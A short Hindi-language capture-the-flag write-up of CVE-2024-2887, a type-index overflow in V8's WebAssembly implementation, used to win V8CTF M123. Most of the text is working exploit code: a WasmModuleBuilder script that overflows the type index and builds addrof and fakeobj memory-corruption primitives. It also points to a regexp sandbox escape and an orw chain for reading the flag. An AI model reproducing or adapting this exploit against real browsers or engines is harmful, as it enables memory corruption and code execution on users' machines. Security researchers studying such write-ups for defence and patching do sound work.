
V8CTF M123 के लिए
यह CVE-2024-2887 के लिए एक संक्षिप्त राइटअप है, जिसका उपयोग मैंने V8CTF M123 को हासिल करने के लिए किया था।
जब kV8MaxWasmTypes से अधिक प्रकार परिभाषित किए जाते हैं, जिसे RecGroup में अधिक प्रकार जोड़कर प्राप्त किया जा सकता है, तो प्रकार इंडेक्स 20bits से अधिक हो सकता है और फिर ओवरफ्लो हो जाता है। फिर दो प्रकारों को समान माना जा सकता है क्योंकि उनका heap_type समान होता है।
हम ref ऑब्जेक्ट्स के साथ एक array बनाकर और उसे float64 array के माध्यम से पढ़कर addrof प्रिमिटिव प्राप्त कर सकते हैं, और float64 array बनाकर उसे ऑब्जेक्ट के रूप में पढ़कर fakeobj प्रिमिटिव प्राप्त कर सकते हैं।
wasm मॉड्यूल का builder नीचे दिखाया गया है:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
सैंडबॉक्स बायपास के लिए, V8-Sandbox-Escape-via-Regexp देखें। अंतिम एक्सप्लॉइट stderr के माध्यम से फ़्लैग लिखने के लिए सामान्य orw चेन का उपयोग करता है।